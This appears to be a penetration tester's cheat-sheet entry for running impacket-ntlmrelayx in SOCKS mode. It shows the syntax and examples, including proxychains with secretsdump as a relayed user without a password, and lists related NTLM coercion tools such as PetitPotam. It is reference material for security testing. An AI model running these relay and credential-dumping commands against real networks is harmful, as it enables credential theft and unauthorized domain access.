ntlmrelayx SOCKS Proxy

Run ntlmrelayx in SOCKS mode to keep relayed sessions alive after the initial authentication. Drive them with proxychains + impacket tools (smbexec, secretsdump, smbclient) using -no-pass and the relayed user.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool

impacket-ntlmrelayx

Category

Credential Attacks / NTLM Relay & Coercion

Platform

linux

Requires

no credentials

Protocols

SMB, NTLM

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-ntlmrelayx -tf <targets.txt> -socks -smb2support

Examples

impacket-ntlmrelayx -tf targets.txt -socks -smb2support

proxychains impacket-secretsdump CORP/jdoe@10.10.10.10 -no-pass

Tags

impacket ntlmrelayx socks relay proxychains

References

• ntlmrelayx SOCKS

Related commands

• Coercer Coerce NTLM authentication using multiple RPC protocols
• Coercer Scan (Find Coercion Vectors) Probe a target for every known authentication-coercion RPC method (PetitPotam,…
• DFSCoerce Coerce NTLM authentication using MS-DFSNM (Distributed File System)
• NetExec coerce_plus Module Unified coercion module — replaces the individual…
• NetExec Generate Relay Target List Scan a subnet over SMB and write a file containing every host with SMB signing disabled.…
• NetExec mssql_coerce Module Coerce the MSSQL service account to authenticate to your relay listener via xp_dirtree /…
• NetExec PetitPotam Coercion Coerce a Windows host (typically a DC) to authenticate back to the attacker via the…
• NetExec SMB Coerce Plus Trigger NTLM authentication coercion using multiple methods (PetitPotam, PrinterBug,…